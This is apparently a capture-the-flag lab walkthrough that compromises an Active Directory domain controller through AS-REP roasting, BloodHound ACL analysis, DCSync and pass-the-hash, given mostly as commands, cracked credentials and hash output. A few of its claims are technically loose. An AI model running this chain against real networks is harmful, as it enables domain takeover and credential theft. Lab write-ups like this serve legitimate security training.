1. Initial Reconnaissance & Port Scanning
Our initial engagement scan identifies a Windows Active Directory Domain Controller (htb.local) exposing standard Kerberos, LDAP, and RPC endpoints.
nmap -sC -sV -p 88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.161
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-15)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
2. Unauthenticated Enumeration: AS-REP Roasting (T1558.004)
Without domain credentials, we probe the Kerberos KDC for accounts that do not require Kerberos pre-authentication (DONT_REQ_PREAUTH flag enabled).
impacket-GetNPUsers htb.local/ -no-pass -usersfile usernames.txt -dc-ip 10.10.10.161
The tool successfully harvests an encrypted AS-REP hash for user sebastien:
$krb5asrep$23$sebastien@HTB.LOCAL:42a8c0199...[REDACTED]...
Cracking the hash offline with Hashcat mode 18200 yields the initial foothold password:
- Credentials:
sebastien:isolation23!
3. BloodHound Graph Analysis & ACL Exploitation
Using BloodHound Python ingestor, we dump domain objects and map the attack path:
bloodhound-python -u 'sebastien' -p 'isolation23!' -d 'htb.local' -ns 10.10.10.161 -c All
Attack Graph Findings:
sebastienis a member ofService Accounts.Service Accountsis nested insidePrivileged IT Accounts.Privileged IT Accountspossesses WriteDacl over theExchange Windows Permissionssecurity group.Exchange Windows Permissionshas WriteDacl over the Domain object itself, allowing granting DCSync rights (DS-Replication-Get-Changes-All).
[Attack Path Chain]
sebastien
│ (MemberOf)
▼
Service Accounts ──► Privileged IT Accounts
│
├─► (WriteDacl) ──► Exchange Windows Permissions
│ │
│ └─► (WriteDacl) ──► Domain Root (htb.local)
│ │
└─────────────────────────────────────────────────────┴─► [DCSync: Administrator TGT]
4. Privilege Escalation via DCSync & Ticket Extraction
We add our compromised principal sebastien directly to Exchange Windows Permissions:
net rpc group addmem "Exchange Windows Permissions" "sebastien" -U "htb.local/sebastien%isolation23!" -S 10.10.10.161
Next, grant DCSync replication privileges over the domain head using PowerView or Impacket's dacledit.py:
python3 dacledit.py -action 'write' -rights 'DCSync' -principal 'sebastien' -target-dn 'DC=htb,DC=local' 'htb.local/sebastien:isolation23!'
Execute DCSync to pull the NTLM hash of the Domain Administrator:
impacket-secretsdump 'htb.local/sebastien:isolation23!@10.10.10.161' -just-dc-user Administrator
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693bda01f036f61e9f61f13b508326:::
Using Pass-the-Hash with WinRM (Evil-WinRM):
evil-winrm -i 10.10.10.161 -u Administrator -H 32693bda01f036f61e9f61f13b508326
Session opened with full NT AUTHORITY\SYSTEM access. Target compromised.
Target walkthroughs are executed exclusively in authorized testing lab ranges. Exploitation techniques should never be attempted against unauthorized targets.